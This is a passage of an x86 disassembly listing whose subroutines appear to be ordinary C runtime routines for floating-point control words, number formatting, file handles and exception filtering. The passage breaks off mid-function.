; sub_41D55A+1ECj
push esi
push ebx
call sub_41D3D5
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:46A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41D7F5
test al, 80h
jz short loc_41D7F5
test byte ptr [ebp+arg_4], 2
jz short loc_41D7F5
push 2
push 0FFFFFFFFh
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41D7AA
cmp dword_4694B8, 83h
jz short loc_41D7F5
jmp short loc_41D7E9
; ---------------------------------------------------------------------------
loc_41D7AA: ; CODE XREF: sub_41D55A+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41B989
add esp, 0Ch
test eax, eax
jnz short loc_41D7D7
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41D7D7
push [ebp+var_10]
push ebx
call sub_41E84C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D7E9
loc_41D7D7: ; CODE XREF: sub_41D55A+265j
; sub_41D55A+26Bj
push 0
push 0
push ebx
call sub_41BB7F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41D7F5
loc_41D7E9: ; CODE XREF: sub_41D55A+24Ej
; sub_41D55A+27Bj
push ebx
call sub_4185CB
pop ecx
loc_41D7F0: ; CODE XREF: sub_41D55A+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41D80E
; ---------------------------------------------------------------------------
loc_41D7F5: ; CODE XREF: sub_41D55A+221j
; sub_41D55A+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41D80C
test byte ptr [ebp+arg_4], 8
jz short loc_41D80C
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41D80C: ; CODE XREF: sub_41D55A+29Fj
; sub_41D55A+2A5j
mov eax, ebx
loc_41D80E: ; CODE XREF: sub_41D55A+1D9j
; sub_41D55A+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41D55A endp
; =============== S U B R O U T I N E =======================================
sub_41D813 proc near ; CODE XREF: sub_419BB3+52p
xor eax, eax
retn
sub_41D813 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D816 proc near ; CODE XREF: sub_41D84B+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41D861
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41D8F3
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41D816 endp
; =============== S U B R O U T I N E =======================================
sub_41D84B proc near ; CODE XREF: sub_419E9F+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41D816
pop ecx
pop ecx
retn
sub_41D84B endp
; =============== S U B R O U T I N E =======================================
sub_41D861 proc near ; CODE XREF: sub_41D816+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41D872
push 10h
pop eax
loc_41D872: ; CODE XREF: sub_41D861+Cj
test bl, 4
jz short loc_41D879
or al, 8
loc_41D879: ; CODE XREF: sub_41D861+14j
test bl, 8
jz short loc_41D880
or al, 4
loc_41D880: ; CODE XREF: sub_41D861+1Bj
test bl, 10h
jz short loc_41D887
or al, 2
loc_41D887: ; CODE XREF: sub_41D861+22j
test bl, 20h
jz short loc_41D88E
or al, 1
loc_41D88E: ; CODE XREF: sub_41D861+29j
test bl, 2
jz short loc_41D898
or eax, 80000h
loc_41D898: ; CODE XREF: sub_41D861+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41D8D0
cmp edx, 400h
jz short loc_41D8CD
cmp edx, 800h
jz short loc_41D8C9
cmp edx, esi
jnz short loc_41D8D0
or eax, edi
jmp short loc_41D8D0
; ---------------------------------------------------------------------------
loc_41D8C9: ; CODE XREF: sub_41D861+5Ej
or eax, ebp
jmp short loc_41D8D0
; ---------------------------------------------------------------------------
loc_41D8CD: ; CODE XREF: sub_41D861+56j
or ah, 1
loc_41D8D0: ; CODE XREF: sub_41D861+4Ej
; sub_41D861+62j ...
and ecx, edi
pop esi
jz short loc_41D8E0
cmp ecx, ebp
jnz short loc_41D8E5
or eax, 10000h
jmp short loc_41D8E5
; ---------------------------------------------------------------------------
loc_41D8E0: ; CODE XREF: sub_41D861+72j
or eax, 20000h
loc_41D8E5: ; CODE XREF: sub_41D861+76j
; sub_41D861+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41D8F2
or eax, 40000h
locret_41D8F2: ; CODE XREF: sub_41D861+8Aj
retn
sub_41D861 endp
; =============== S U B R O U T I N E =======================================
sub_41D8F3 proc near ; CODE XREF: sub_41D816+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41D903
push 1
pop eax
loc_41D903: ; CODE XREF: sub_41D8F3+Bj
test bl, 8
jz short loc_41D90A
or al, 4
loc_41D90A: ; CODE XREF: sub_41D8F3+13j
test bl, 4
jz short loc_41D911
or al, 8
loc_41D911: ; CODE XREF: sub_41D8F3+1Aj
test bl, 2
jz short loc_41D918
or al, 10h
loc_41D918: ; CODE XREF: sub_41D8F3+21j
test bl, 1
jz short loc_41D91F
or al, 20h
loc_41D91F: ; CODE XREF: sub_41D8F3+28j
test ebx, 80000h
jz short loc_41D929
or al, 2
loc_41D929: ; CODE XREF: sub_41D8F3+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41D956
cmp ecx, 100h
jz short loc_41D953
cmp ecx, esi
jz short loc_41D94E
cmp ecx, edx
jnz short loc_41D956
or ah, 0Ch
jmp short loc_41D956
; ---------------------------------------------------------------------------
loc_41D94E: ; CODE XREF: sub_41D8F3+50j
or ah, 8
jmp short loc_41D956
; ---------------------------------------------------------------------------
loc_41D953: ; CODE XREF: sub_41D8F3+4Cj
or ah, 4
loc_41D956: ; CODE XREF: sub_41D8F3+44j
; sub_41D8F3+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41D96C
cmp ecx, 10000h
jnz short loc_41D96E
or eax, esi
jmp short loc_41D96E
; ---------------------------------------------------------------------------
loc_41D96C: ; CODE XREF: sub_41D8F3+6Bj
or eax, edx
loc_41D96E: ; CODE XREF: sub_41D8F3+73j
; sub_41D8F3+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41D97B
or ah, 10h
locret_41D97B: ; CODE XREF: sub_41D8F3+83j
retn
sub_41D8F3 endp
; =============== S U B R O U T I N E =======================================
sub_41D97C proc near ; CODE XREF: sub_41DA1B+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41D9C1
inc esi
cmp esi, 3
jge short loc_41D9BC
lea eax, [eax+esi*4]
loc_41D9AE: ; CODE XREF: sub_41D97C+3Ej
cmp dword ptr [eax], 0
jnz short loc_41D9C1
inc esi
add eax, 4
cmp esi, 3
jl short loc_41D9AE
loc_41D9BC: ; CODE XREF: sub_41D97C+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D9C1: ; CODE XREF: sub_41D97C+27j
; sub_41D97C+35j
xor eax, eax
pop esi
retn
sub_41D97C endp
; =============== S U B R O U T I N E =======================================
sub_41D9C5 proc near ; CODE XREF: sub_41DA1B+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41E992
add esp, 0Ch
dec esi
js short loc_41DA17
lea edi, [ebx+esi*4]
loc_41D9FE: ; CODE XREF: sub_41D9C5+50j
test eax, eax
jz short loc_41DA17
push edi
push 1
push dword ptr [edi]
call sub_41E992
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41D9FE
loc_41DA17: ; CODE XREF: sub_41D9C5+34j
; sub_41D9C5+3Bj
pop edi
pop esi
pop ebx
retn
sub_41D9C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA1B proc near ; CODE XREF: sub_41DB76+81p
; sub_41DB76+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41DA7F
inc ebx
push ebx
push [ebp+arg_0]
call sub_41D97C
pop ecx
test eax, eax
pop ecx
jnz short loc_41DA7C
push edi
push [ebp+arg_0]
call sub_41D9C5
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41DA7C: ; CODE XREF: sub_41DA1B+51j
mov eax, [ebp+arg_4]
loc_41DA7F: ; CODE XREF: sub_41DA1B+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41DA9F
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41DA9F: ; CODE XREF: sub_41DA1B+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41DA1B endp
; =============== S U B R O U T I N E =======================================
sub_41DAA7 proc near ; CODE XREF: sub_41DB76+75p
; sub_41DB76+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41DAB5: ; CODE XREF: sub_41DAA7+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41DAB5
pop esi
retn
sub_41DAA7 endp
; =============== S U B R O U T I N E =======================================
sub_41DAC2 proc near ; CODE XREF: sub_41DB76+5Fp
; sub_41DB76+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41DAC2 endp
; =============== S U B R O U T I N E =======================================
sub_41DACE proc near ; CODE XREF: sub_41DB76+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41DAD4: ; CODE XREF: sub_41DACE+12j
cmp dword ptr [eax], 0
jnz short loc_41DAE6
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41DAD4
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41DAE6: ; CODE XREF: sub_41DACE+9j
xor eax, eax
retn
sub_41DACE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DAE9 proc near ; CODE XREF: sub_41DB76+C0p
; sub_41DB76+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41DB1F: ; CODE XREF: sub_41DAE9+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41DB1F
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41DB51: ; CODE XREF: sub_41DAE9+86j
cmp ebx, edi
jl short loc_41DB64
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41DB6B
; ---------------------------------------------------------------------------
loc_41DB64: ; CODE XREF: sub_41DAE9+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41DB6B: ; CODE XREF: sub_41DAE9+79j
dec ebx
sub ecx, 4
jns short loc_41DB51
pop edi
pop esi
pop ebx
leave
retn
sub_41DAE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB76 proc near ; CODE XREF: sub_41DCE2+Dp
; sub_41DCF8+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41DBE3
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41DACE
test eax, eax
pop ecx
jnz loc_41DCA2
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
pop ecx
loc_41DBDB: ; CODE XREF: sub_41DB76+E4j
push 2
loc_41DBDD: ; CODE XREF: sub_41DB76+110j
pop eax
jmp loc_41DCA4
; ---------------------------------------------------------------------------
loc_41DBE3: ; CODE XREF: sub_41DB76+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41DAA7
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41DA1B
add esp, 10h
test eax, eax
jz short loc_41DC04
inc ebx
loc_41DC04: ; CODE XREF: sub_41DB76+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41DC1C
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
pop ecx
jmp short loc_41DC58
; ---------------------------------------------------------------------------
loc_41DC1C: ; CODE XREF: sub_41DB76+98j
cmp ebx, eax
jg short loc_41DC5F
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DAA7
lea eax, [ebp+var_C]
push esi
push eax
call sub_41DAE9
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41DA1B
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DAE9
add esp, 20h
loc_41DC58: ; CODE XREF: sub_41DB76+A4j
xor esi, esi
jmp loc_41DBDB
; ---------------------------------------------------------------------------
loc_41DC5F: ; CODE XREF: sub_41DB76+A8j
cmp ebx, [edi]
jl short loc_41DC8B
lea eax, [ebp+var_C]
push eax
call sub_41DAC2
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41DAE9
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41DBDD
; ---------------------------------------------------------------------------
loc_41DC8B: ; CODE XREF: sub_41DB76+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41DAE9
pop ecx
pop ecx
loc_41DCA2: ; CODE XREF: sub_41DB76+55j
xor eax, eax
loc_41DCA4: ; CODE XREF: sub_41DB76+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41DCD3
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41DCDD
; ---------------------------------------------------------------------------
loc_41DCD3: ; CODE XREF: sub_41DB76+14Ej
cmp edi, 20h
jnz short loc_41DCDD
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41DCDD: ; CODE XREF: sub_41DB76+15Bj
; sub_41DB76+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41DB76 endp
; =============== S U B R O U T I N E =======================================
sub_41DCE2 proc near ; CODE XREF: sub_41DD0E+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_438710
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB76
add esp, 0Ch
retn
sub_41DCE2 endp
; =============== S U B R O U T I N E =======================================
sub_41DCF8 proc near ; CODE XREF: sub_41DD3B+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_438728
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB76
add esp, 0Ch
retn
sub_41DCF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD0E proc near ; CODE XREF: sub_419FD8+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB33
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCE2
add esp, 24h
leave
retn
sub_41DD0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD3B proc near ; CODE XREF: sub_419FD8+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB33
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCF8
add esp, 24h
leave
retn
sub_41DD3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD68 proc near ; CODE XREF: sub_41A016+65p
; sub_41A11A+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41DDA5
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41DD8B: ; CODE XREF: sub_41DD68+38j
mov dl, [ecx]
test dl, dl
jz short loc_41DD97
movsx edx, dl
inc ecx
jmp short loc_41DD9A
; ---------------------------------------------------------------------------
loc_41DD97: ; CODE XREF: sub_41DD68+27j
push 30h
pop edx
loc_41DD9A: ; CODE XREF: sub_41DD68+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41DD8B
mov edx, [ebp+arg_8]
loc_41DDA5: ; CODE XREF: sub_41DD68+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41DDBE
cmp byte ptr [ecx], 35h
jl short loc_41DDBE
loc_41DDB1: ; CODE XREF: sub_41DD68+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41DDBC
mov byte ptr [eax], 30h
jmp short loc_41DDB1
; ---------------------------------------------------------------------------
loc_41DDBC: ; CODE XREF: sub_41DD68+4Dj
inc byte ptr [eax]
loc_41DDBE: ; CODE XREF: sub_41DD68+42j
; sub_41DD68+47j
cmp byte ptr [esi], 31h
jnz short loc_41DDC8
inc dword ptr [edx+4]
jmp short loc_41DDDA
; ---------------------------------------------------------------------------
loc_41DDC8: ; CODE XREF: sub_41DD68+59j
push edi
call sub_415CF0
inc eax
push eax
push edi
push esi
call sub_416490
add esp, 10h
loc_41DDDA: ; CODE XREF: sub_41DD68+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DD68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDDF proc near ; CODE XREF: sub_41A016+3Fp
; sub_41A11A+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DE43
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_469680
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41F004
mov dword_4696A8, eax
add esp, 18h
movsx eax, byte_469682
mov dword_4696A0, eax
pop edi
movsx eax, word_469680
mov dword_4696A4, eax
mov dword_4696AC, offset dword_469684
mov eax, offset dword_4696A0
pop esi
leave
retn
sub_41DDDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE43 proc near ; CODE XREF: sub_41DDDF+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41DE91
cmp ebx, edi
jz short loc_41DE8A
lea edi, [ecx+3C00h]
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE8A: ; CODE XREF: sub_41DE43+3Dj
mov edi, 7FFFh
jmp short loc_41DEB2
; ---------------------------------------------------------------------------
loc_41DE91: ; CODE XREF: sub_41DE43+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41DEA9
cmp edx, ebx
jnz short loc_41DEA9
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41DEF4
; ---------------------------------------------------------------------------
loc_41DEA9: ; CODE XREF: sub_41DE43+52j
; sub_41DE43+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41DEB2: ; CODE XREF: sub_41DE43+45j
; sub_41DE43+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41DECA: ; CODE XREF: sub_41DE43+A6j
test ecx, esi
jnz short loc_41DEEB
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41DECA
; ---------------------------------------------------------------------------
loc_41DEEB: ; CODE XREF: sub_41DE43+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41DEF4: ; CODE XREF: sub_41DE43+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41DE43 endp
; =============== S U B R O U T I N E =======================================
sub_41DEF9 proc near ; CODE XREF: sub_417D4C+3AAp
; sub_417D4C+3CBp ...
push 2
call sub_417BEE
pop ecx
retn
sub_41DEF9 endp
; =============== S U B R O U T I N E =======================================
sub_41DF02 proc near ; DATA XREF: sub_41DF48o
; .nsp0:004380E0o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41DF25
cmp dword ptr [eax+10h], 3
jnz short loc_41DF25
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41DF25
jmp sub_41AB9C
; ---------------------------------------------------------------------------
loc_41DF25: ; CODE XREF: sub_41DF02+Dj
; sub_41DF02+13j ...
mov eax, dword_4696B0
test eax, eax
jz short loc_41DF42
push eax
call sub_41DF9E
test eax, eax
pop ecx
jz short loc_41DF42
push esi
call dword_4696B0
jmp short loc_41DF44
; ---------------------------------------------------------------------------
loc_41DF42: ; CODE XREF: sub_41DF02+2Aj
; sub_41DF02+35j
xor eax, eax
loc_41DF44: ; CODE XREF: sub_41DF02+3Ej
pop esi
retn 4
sub_41DF02 endp
; =============== S U B R O U T I N E =======================================
sub_41DF48 proc near ; DATA XREF: .nsp0:00423024o
push offset sub_41DF02
call dword_42101C
mov dword_4696B0, eax
retn
sub_41DF48 endp
; =============== S U B R O U T I N E =======================================
sub_41DF59 proc near ; DATA XREF: .nsp0:0042303Co
push dword_4696B0
call dword_42101C
retn
sub_41DF59 endp
; =============== S U B R O U T I N E =======================================
sub_41DF66 proc near ; CODE XREF: sub_41A3EE+6Bp
; sub_41A8FF+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421018
test eax, eax
jz short loc_41DF7E
xor esi, esi
loc_41DF7E: ; CODE XREF: sub_41DF66+14j
mov eax, esi
pop esi
retn
sub_41DF66 endp
; =============== S U B R O U T I N E =======================================
sub_41DF82 proc near ; CODE XREF: sub_41A8FF+73p
; sub_41A8FF+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421180
test eax, eax
jz short loc_41DF9A
xor esi, esi
loc_41DF9A: ; CODE XREF: sub_41DF82+14j
mov eax, esi
pop esi
retn
sub_41DF82 endp
; =============== S U B R O U T I N E =======================================
sub_41DF9E proc near ; CODE XREF: sub_41A8FF+15Bp
; sub_41DF02+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_421014
test eax, eax
jz short loc_41DFB2
xor esi, esi
loc_41DFB2: ; CODE XREF: sub_41DF9E+10j
mov eax, esi
pop esi
retn
sub_41DF9E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41AB9C
loc_41DFB6: ; CODE XREF: sub_41AB9C:loc_41ABEDj
push 0Ah
call sub_41CF19
push 16h
call sub_41F297
pop ecx
pop ecx
push 3
call sub_417838
; END OF FUNCTION CHUNK FOR sub_41AB9C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFCD proc near ; CODE XREF: sub_41AD3D+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41DFF0
cmp [ebp+arg_8], ebx
jz short loc_41DFF0
mov al, [esi]
cmp al, bl
jnz short loc_41DFF6
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41DFF0
mov [eax], bx
loc_41DFF0: ; CODE XREF: sub_41DFCD+Cj
; sub_41DFCD+11j ...
xor eax, eax
loc_41DFF2: ; CODE XREF: sub_41DFCD+42j
; sub_41DFCD+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DFF6: ; CODE XREF: sub_41DFCD+17j
cmp dword_469548, ebx
jnz short loc_41E011
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41E00C
movzx ax, al
mov [ecx], ax
loc_41E00C: ; CODE XREF: sub_41DFCD+36j
; sub_41DFCD+C0j
push 1
pop eax
jmp short loc_41DFF2
; ---------------------------------------------------------------------------
loc_41E011: ; CODE XREF: sub_41DFCD+2Fj
mov ecx, off_437D90
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E06E
mov eax, dword_437F9C
cmp eax, 1
jle short loc_41E055
cmp [ebp+arg_8], eax
jl short loc_41E05F
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_469558
call dword_421064
test eax, eax
mov eax, dword_437F9C
